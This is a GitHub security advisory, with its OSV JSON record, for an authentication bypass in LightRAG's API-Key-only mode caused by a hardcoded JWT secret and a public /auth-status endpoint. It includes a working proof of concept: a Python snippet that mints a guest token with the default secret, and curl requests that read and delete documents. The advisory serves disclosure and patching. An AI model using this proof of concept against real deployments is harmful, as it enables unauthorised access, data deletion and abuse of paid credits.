GHSA-F4VV-55C2-5789
Vulnerability from github – Published: 2026-07-20 21:46 – Updated: 2026-07-20 21:46Summary
When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.
This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).
Root cause
Three independent issues combine:
lightrag/api/config.py:54ships a hardcoded default JWT secret:python DEFAULT_TOKEN_SECRET="lightr...key!"lightrag/api/auth.py:28-38falls back toDEFAULT_TOKEN_SECRETwith only a warning log whenAUTH_ACCOUNTSis not configured. The fix for CVE-2026-30762 only raises whenAUTH_ACCOUNTSis set, so the API-key-only path is silently vulnerable.lightrag/api/lightrag_server.py:1140-1186exposesGET /auth-statusandPOST /loginwithout any authentication dependency. In the API-key-only configuration,auth_handler.accountsis empty, and both endpoints unconditionally mint and return a signed guest JWT.lightrag/api/utils_api.py:214-216insidecombined_dependencyshort-circuits authorization on any valid guest token whenauth_configuredis false, before reaching theX-API-Keycheck on line 237:python if not auth_configured and token_info.get("role") == "guest": return
Proof of concept (offline-minted token, zero server contact)
Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.
$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
{"sub":"guest","role":"guest",
"exp":datetime.now(timezone.utc)+timedelta(hours=24),
"metadata":{"auth_mode":"disabled"}},
"lightrag-jwt-default-secret-key!",
algorithm="HS256"))
PY
eyJhbGci...
# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403
# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403
# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
http://target:9876/documents
{"statuses":{}}
HTTP 200
# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200
The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.
Impact
Any LightRAG instance that is reachable on the network and configured with:
- LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
- AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)
is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:
- Read and delete arbitrary documents (
/documents,DELETE /documents) - Upload arbitrary documents and text for ingestion (
/documents/upload,/documents/text,/documents/texts,/documents/file_batch,/documents/scan) - Clear LLM / embedding caches (
/documents/clear_cache) - Inspect and mutate the knowledge graph (
/graph/*) - Run arbitrary queries that will consume paid LLM / embedding credits (
/query,/query/stream)
Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.
Suggested CVSS
7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.
Suggested fix
Any one of the following individually closes the primary vector; all three are recommended for defense in depth:
- Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever
TOKEN_SECRETis unset, regardless ofAUTH_ACCOUNTS. - Gate
/auth-statusand/loginwhenLIGHTRAG_API_KEYis set. Either requireDepends(combined_auth)or stop minting guest tokens wheneverapi_key_configuredis true. - Fix the short-circuit in
combined_dependency. Do not accept guest tokens as authentication whenapi_key_configuredis true; always require a validX-API-Keyheader in that configuration.
Affected versions
mainthrough commit157c331(2026-04-15)- Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path
Prior art checked
- GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT
alg:none. Unrelated. - GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with
AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration. - Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.
Discovery
Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lightrag-hku"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61740"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-798"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:46:37Z",
"nvd_published_at": "2026-07-15T15:16:48Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nWhen LightRAG is deployed with `LIGHTRAG_API_KEY` set but `AUTH_ACCOUNTS` unset (an officially documented \"API-Key authentication\" mode), the `X-API-Key` protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server \u2014 an attacker can mint a valid guest JWT offline using the hardcoded `DEFAULT_TOKEN_SECRET` committed in the repository and then call any endpoint guarded by `Depends(combined_auth)`, including destructive operations such as `DELETE /documents`, `POST /documents/upload`, `/documents/clear_cache`, and `POST /query`.\n\nThis is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the `AUTH_ACCOUNTS`-configured case. The API-Key-only deployment profile is still fully exploitable on current `main` (commit `157c331`, v1.4.15).\n\n## Root cause\n\nThree independent issues combine:\n\n1. `lightrag/api/config.py:54` ships a hardcoded default JWT secret:\n ```python\n DEFAULT_TOKEN_SECRET=\"lightr...key!\"\n ```\n2. `lightrag/api/auth.py:28-38` falls back to `DEFAULT_TOKEN_SECRET` with only a warning log when `AUTH_ACCOUNTS` is not configured. The fix for CVE-2026-30762 only raises when `AUTH_ACCOUNTS` is set, so the API-key-only path is silently vulnerable.\n3. `lightrag/api/lightrag_server.py:1140-1186` exposes `GET /auth-status` and `POST /login` without any authentication dependency. In the API-key-only configuration, `auth_handler.accounts` is empty, and both endpoints unconditionally mint and return a signed guest JWT.\n4. `lightrag/api/utils_api.py:214-216` inside `combined_dependency` short-circuits authorization on any valid guest token when `auth_configured` is false, **before** reaching the `X-API-Key` check on line 237:\n ```python\n if not auth_configured and token_info.get(\"role\") == \"guest\":\n return\n ```\n\n## Proof of concept (offline-minted token, zero server contact)\n\nTested against a clean install of commit `157c331` running locally with only `LIGHTRAG_API_KEY=super-...ass` configured.\n\n```bash\n$ python3 - \u003c\u003c\u0027PY\u0027\nimport jwt\nfrom datetime import datetime, timedelta, timezone\nprint(jwt.encode(\n {\"sub\":\"guest\",\"role\":\"guest\",\n \"exp\":datetime.now(timezone.utc)+timedelta(hours=24),\n \"metadata\":{\"auth_mode\":\"disabled\"}},\n \"lightrag-jwt-default-secret-key!\",\n algorithm=\"HS256\"))\nPY\neyJhbGci...\n\n# Control \u2014 no creds: correctly rejected\n$ curl -s -w \"HTTP %{http_code}\\n\" http://target:9876/documents\n{\"detail\":\"API Key required\"}\nHTTP 403\n\n# Control \u2014 wrong API key: correctly rejected\n$ curl -s -w \"HTTP %{http_code}\\n\" -H \"X-API-Key: wrong-key\" http://target:9876/documents\n{\"detail\":\"Invalid API Key\"}\nHTTP 403\n\n# Bypass \u2014 offline-minted guest JWT: accepted\n$ curl -s -w \"HTTP %{http_code}\\n\" -H \"Authorization: Bearer *** \\\n http://target:9876/documents\n{\"statuses\":{}}\nHTTP 200\n\n# Destructive confirmation \u2014 DELETE /documents with the same token\n$ curl -s -X DELETE -w \"HTTP %{http_code}\\n\" -H \"Authorization: Bearer *** \\\n http://target:9876/documents\n{\"status\":\"success\",\"message\":\"All documents cleared successfully. Deleted 0 files.\"}\nHTTP 200\n```\n\nThe guest JWT also does not need to be minted offline \u2014 `GET /auth-status` hands one out to anyone, even when the server is started with `LIGHTRAG_API_KEY` set. Either path (offline or `/auth-status`) yields the same bypass.\n\n## Impact\n\nAny LightRAG instance that is reachable on the network and configured with:\n- `LIGHTRAG_API_KEY` set (i.e. the operator believes the server is protected), and\n- `AUTH_ACCOUNTS` unset (i.e. they opted out of the password-based login flow)\n\nis fully accessible to any anonymous caller. This configuration is documented as the \"simple API-Key authentication\" mode in `docs/LightRAG-API-Server.md`, so it is expected to be common in production. An attacker can:\n\n- Read and delete arbitrary documents (`/documents`, `DELETE /documents`)\n- Upload arbitrary documents and text for ingestion (`/documents/upload`, `/documents/text`, `/documents/texts`, `/documents/file_batch`, `/documents/scan`)\n- Clear LLM / embedding caches (`/documents/clear_cache`)\n- Inspect and mutate the knowledge graph (`/graph/*`)\n- Run arbitrary queries that will consume paid LLM / embedding credits (`/query`, `/query/stream`)\n\nBecause the server may be exposed behind corporate reverse proxies that trust `LIGHTRAG_API_KEY`, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.\n\n## Suggested CVSS\n\n7.5 \u2014 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L` (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.\n\n## Suggested fix\n\nAny one of the following individually closes the primary vector; all three are recommended for defense in depth:\n\n1. **Remove the hardcoded fallback.** Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever `TOKEN_SECRET` is unset, regardless of `AUTH_ACCOUNTS`.\n2. **Gate `/auth-status` and `/login` when `LIGHTRAG_API_KEY` is set.** Either require `Depends(combined_auth)` or stop minting guest tokens whenever `api_key_configured` is true.\n3. **Fix the short-circuit in `combined_dependency`.** Do not accept guest tokens as authentication when `api_key_configured` is true; always require a valid `X-API-Key` header in that configuration.\n\n## Affected versions\n\n- `main` through commit `157c331` (2026-04-15)\n- Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path\n\n## Prior art checked\n\n- GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 \u2014 JWT `alg:none`. Unrelated.\n- GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 \u2014 hardcoded JWT secret combined with `AUTH_ACCOUNTS`. Fixed by PR #2869, which explicitly does **not** cover the API-Key-only configuration.\n- Issues/PRs searched: \"guest token bypass\", \"DEFAULT_TOKEN_SECRET\", \"hardcoded secret\", \"auth-status\", \"api key bypass\". No prior report covering this vector.\n\n## Discovery\n\nFound during an external security review of LightRAG\u0027s API authentication flow. Reporter can be credited publicly as \"patchmyday (Jason Zhang)\" upon disclosure.",
"id": "GHSA-f4vv-55c2-5789",
"modified": "2026-07-20T21:46:37Z",
"published": "2026-07-20T21:46:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-f4vv-55c2-5789"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61740"
},
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/pull/3319"
},
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/commit/f7819aa3a49a9d8d92eed8251d82d6ebcafa8cba"
},
{
"type": "PACKAGE",
"url": "https://github.com/HKUDS/LightRAG"
},
{
"type": "WEB",
"url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.